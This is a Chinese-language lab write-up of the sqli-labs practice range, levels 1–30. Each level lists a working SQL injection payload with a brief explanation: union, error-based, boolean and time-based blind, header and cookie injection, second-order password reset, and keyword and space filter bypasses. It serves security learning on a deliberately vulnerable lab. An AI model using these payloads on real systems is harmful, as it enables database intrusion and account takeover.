sqli-labs靶场详解笔记
SQLi-LABS Page-1(Basic Challenges)
Less-1
paylaod:-1' union select 1,2,3%23
知识点:闭合引号
Less-2
payload:-1 union select 1,database(),3
知识点:union联合查询
Less-3
paylaod:-1') union select 1,database(),3%23
插入1'
发现报错:'1'') LIMIT 0,1
,告诉我们附近出错了,后面跟着括号,这时考虑闭合括号,注释掉后面的语句:1')-- -
,这时返回就正常了,使用union联合查询即可。
知识点:闭合括号,闭合单引号。
Less-4
payload:-1") union select 1,database(),3-- -
继续输入1'
,发现没反应,估计过滤了单引号,换成双引号试试,报错:"1"") LIMIT 0,1
,1后面出现两个双引号,所以和上面一样的方法。
知识点:闭合括号,闭合双引号。
Less-5
paylaod:1' and (extractvalue(1,concat(1,(select database()))))-- -
输入1和2都返回You are in...........
,可能时盲注,这是判断输入’判断类型。通过报错发现是字符型,接下来检测注入点,输入1' and 1=1-- -
回显正常,输入1' and 1=2-- -
无回显。存在的id回显都是一样的,无法使用union注入,考虑报错注入,使用extractvalue()报错成功注入。
知识点:extractvalue()报错注入,单引号闭合
Less-6
payload:2" and (extractvalue(1,concat(1,(select database()))))-- -
和less一样,有盲注的特征,根据之前经验,猜测和上一题的一样,就相差一个双引号,直接输入1”测试,通过猜测验证了猜想。
知识点:extractvalue()报错注入,双引号闭合
Less-7
paylaod:1')) and (length(database())=8)%23
通过返回正常判断数据库长8位。
id=1和id=2发现返回值都是You are in.... Use outfile......
,中文您在...中。使用outfile ......
,这应该是提示,我们继续测试。输入单引号报错,但没有回显报错信息,只能考虑盲注。通过查看源码发现是两个括号((真狗)),通过1')) and 1=2%23
发现存在盲注。
知识点:闭合多个括号,布尔盲注
Less-8
paylaod:1' and (length(database())=8)%23
和less-7一样,只需要去掉括号即可。检测是单引号还是双引号:输入单引号无回显,输入双引号有回显,则判断是单引号。
知识点:字符型布尔盲注
Less-9
payload:1' and (length(database())=8) and sleep(5)-- -
通过1 and 1=2
返回正常发现不是数字型注入(也有可能存在过滤),尝试字符串。经过查看源码,发现无论什么都是输出一样的,此时union联合查询、报错注入、布尔盲注都不能用,只能试试时间盲注。通过1' and (sleep(5))-- -
发现存在延迟返回,可以使用时间盲注。
知识点:时间盲注
Less-10
payload:1" and (length(database())=8) and sleep(5)-- -
通过题目发现是时间忙著,双引号。把上一题的payload单引号换成双引号就好了。
知识点:时间盲注
Less-11
payload:1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()-- -
和less-1一样,只是换成了post提交,使用hackbar测试是记得删除&submit=Submit,否则无法提交。
知识点:POST提交,单引号闭合,union联合查询
Less-12
payload:11")union select 1,database() -- -
前面加11是为了前面报错,从而执行union的内容
登录一般是字符型,加入单引号没反应,换双引号试试,报错:admin") LIMIT 0,1
,发现后面有个括号,加上括号即可使用union联合注入。
知识点:SQL语句闭合,union联合查询注入
Less-13
payload:admin') and (extractvalue(1,concat(1,(select database()))))-- -
输入admin'
爆出admin') LIMIT 0,1
错误,加上括号闭合语句,输入admin') or 1=1-- -
发现无回显,猜测报错注入,使用extractvalue()试试,成功获得库名XPATH syntax error: 'security'
。
知识点:extractvalueb报错注入,闭合
Less-14
payload:admin" and (extractvalue(1,concat(1,(select database()))))-- -
输入admin'
无反应,输入admin"
抛出admin" LIMIT 0,1
错误,闭合双引号使用extractvalue报错注入。
知识点:单引号extractvalueb报错注入
Less-15
payload:admin' and length(database())=8 and sleep(5)-- -
输入全部东西都无回显,考虑时间盲注,先测试闭合。闭合后使用and短路可以使用sleep延迟注入,and运算当前面的表达式为假,就不会运行后面的语句。
知识点:时间盲注,and短路
Less-16
payload:admin") and length(database())=8 and sleep(5)-- -
根据之前的经验,直接把上一题的payload单引号换成双引号,发现不行,加个括号即可造成延时。
知识点:时间盲注,and短路,双引号字符串
Less-17
payload:passwd=admin' or updatexml(1,concat(1,(select database())),2)-- -&uname=admin
根据[PASSWORD RESET](密码重设),判断是update更新,我之前没有update注入经验,我们先猜测一下后台sql语句再动手,再本地测试正常的update语句update user set password='admin' where username='admin'
,先百度学习update注入吧。学习基础点这里,通过百度发现,使用or连接报错注入。User name是where条件后的,我们应该注入New Password,先判断是单引号还是双引号,输入admin’报错,说明是单引号,加上or连接updatexml函数即可报错注入。
知识点:update报错注入
Less-18
payload:' or updatexml(1,concat(1,(select database())),2))-- -
根据题目发现是报头注入-基于错误-字符串,百度学习了。参考文章点这里,这篇文章刚讲了less-18。
学习后发现账号密码没法注入,后面还有一个把ua和,ip,username插入到数据库的语句,可以使用报错注入。前提得知道账号密码,通过前面得题我们知道有个账号密码都为admin得账号,这是就可以利用,后面的括号一定要闭合。
知识点:insert报错注入,闭合语句
Less-19
payload:dir',extractvalue(1,concat(1,(select database()))))-- -
这个换成了Referer注入,但我们换了一种思路,我们注入的列名是ip那个列名,Referer是我们自定义的dir,然后连接报错注入语句,最后注释掉后面的语句。
知识点:insert报错注入,闭合语句
Less-20
payload:uname=dir' union select database(),101,102-- -
输入账号密码登录后显示账号信息和cookie,这时刷新还是登录状态,应该是使用cookie的账号去数据库查询了,删除cookies手动添加cookieuname=admin
后请求,果然如此,之后构造union联合查询语句注入。
知识点:cookie union联合查询注入
SQLi-LABS Page-2 (Adv Injections)
Less-21
payload:uname=ZGlyJykgdW5pb24gc2VsZWN0IGRhdGFiYXNlKCksMTAxLDEwMi0tIC0=
先正常登录,提示我们YOUR COOKIE : uname = YWRtaW4= and expires: Sun 05 Jul 2020 - 21:16:56
,使用base64解码YWRtaW4=
刚好是我们登录的admin账号,猜测和20的区别就是多了个base64编码,把20的payload进行base64提交,爆出union select database(),101,102-- -') LIMIT 0,1
错误,根据提示闭合括号即可。
知识点:cookie-base64-union联合查询注入
Less-22
payload:uname=ZGlyIiB1bmlvbiBzZWxlY3QgZGF0YWJhc2UoKSwyLDMtLSAt
输入admin’的base64编码没反应,也没报错,试试admin”的base64,爆出"admin"" LIMIT 0,1
错误,闭合双引号即可。
知识点:cookie注入,base64,union,双引号字符型
Less-23
payload:id=-1' union select 1,2,3 and '1'='1
输入1'
爆出'1'' LIMIT 0,1
错误,使用-- -
注释掉后面的语句,又爆出' LIMIT 0,1
错误,估计-- -
被过滤了,使用#号注释,由于#号在浏览器有特殊含义,所以使用url编码后的%23,还是报错'1'' LIMIT 0,1
,%23也被干掉了。那我们使用自然闭合吧,最后发现1' and '1'='1
正常回显,拼接union联合查询。
1 | //后台源码 |
Less-24
payload:admin'#
是个登录框,登录后是修改密码的页面,我们从登录开始找注入点,经过几轮测试还是放弃了,在修改页面动手吧。修改密码肯定是update语句,分析current_password应该是where后的语句,重点在password和re_password,先试试password,经过测试使用hackbar插件好像不行了,用burp吧,后来查了百度说是二次注入,原文点这里,原来是注册账号的时候构造sql语句,等更新密码的时候php读取到用户名就可以进行注入,但是用户名不能超过20个字符。
我们在注册账号页面使用admin'#
注册,然后使用刚刚注册的账号登录修改密码,当数据库执行的时候是UPDATE users SET PASSWORD='admin123' where username='admin'#' and password='admin'
,也就是说数据库执行了UPDATE users SET PASSWORD='admin123' where username='admin'
,这条语句就是更新username为admin的密码,当我们注册的时候用户名为用户名'#
时,即可修改该用户的密码。
知识点:二次注入
Less-25
payload:id=1' anandd updatexml(1,concat(1,(select database())),2)-- -
根据报错提示,or和and被过滤,尝试双写绕过成功,可以使用union联合查询注入,但这里为了体现出and被过滤,使用了updatexml报错注入。
知识点:双写绕过,报错注入
Less-25a
payload:-1 union select 1,database(),3
看起来是25的升级版,没有了报错回显,经过测试发现是整数型,也是过滤了or和and,同样的栓双写绕过,使用oorrder by 3正常返回和oorrder by 4返回异常获得列名为3,然后使用union联合查询即可。
知识点:数字型union注入
Less-26
payload:1'anandd(updatexml(1,concat(1,database()),2))anandd'1'='1
测试后发现过滤:and or %0a %0b %0c %0d 空格,其中and和or可以双写绕过,使用报错注入可以使用空格,或者是括号绕过空格。
知识点:空格绕过,双写绕过,注释绕过
Less-26a
payload:1'aandnd(length((select(database())))=8)aandnd'1'='1
和上面一样,这里没有了报错回显,所以不能使用报错注入了,因为union不能使用括号绕过(两个关键字),所以使用盲注即可,思路想好了,重点是构造paylaod,由于不能使用空格,所以只能使用波尔盲注。
知识点:空格绕过,双写绕过,注释绕过,布尔盲注
Less-27
payload:id=1'and(extractvalue(1,concat(1,(selEct(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))))and'1'='1
这次过滤了select,使用双写没法绕过,但我发现and和or没有被过滤了,测试了一下大小写即可绕过select过滤,由于有报错回显,所以使用报错注入即可。
知识点:构造复杂payload,大小写绕过
Less-27a
payload:id=1"and((selEct(length(group_concat(table_name)))from(information_schema.tables)where(table_schema=database()))=29)and"1"="1
输入1’正常返回,输入1”返回异常,所以判断是”字符串,还是不能使用空格,而且还没有报错回显,只能使用盲注,但是构造payload一定要细心。通过构造payload猜出该数据库的类名长度是29
知识点:构造复杂payload,大小写绕过,盲注
Less-28
payload:1'and((select(length(database())))=8)and '1'='1
该题还是过滤了空格,我使用%a0不知道为什么绕不过,应该是我mysql版本的原因,看了师傅们的解析应该可以使用union联合查询,但我使用的是盲注。
知识点:构造复杂payload,盲注
Less-28a
payload:0')union%0aunion%0aselect%0aselect%0a1,2,3%0aand('1'='1
知识点:双写绕过,小括号字符串闭合
参考文章:sqli-labs(28)
Less-29
payload:-1' union select 1,2,(group_concat(table_name))from(information_schema.tables)where(table_Schema=database())--+
这关直接可以使用union联合查询注入,不知道考点在哪,度娘一下。
Less-30
payload:-1" union select 1,2,(group_concat(table_name))from(information_schema.tables)where(table_Schema=database())--+
和less29就一个引号只差,没啥好说的。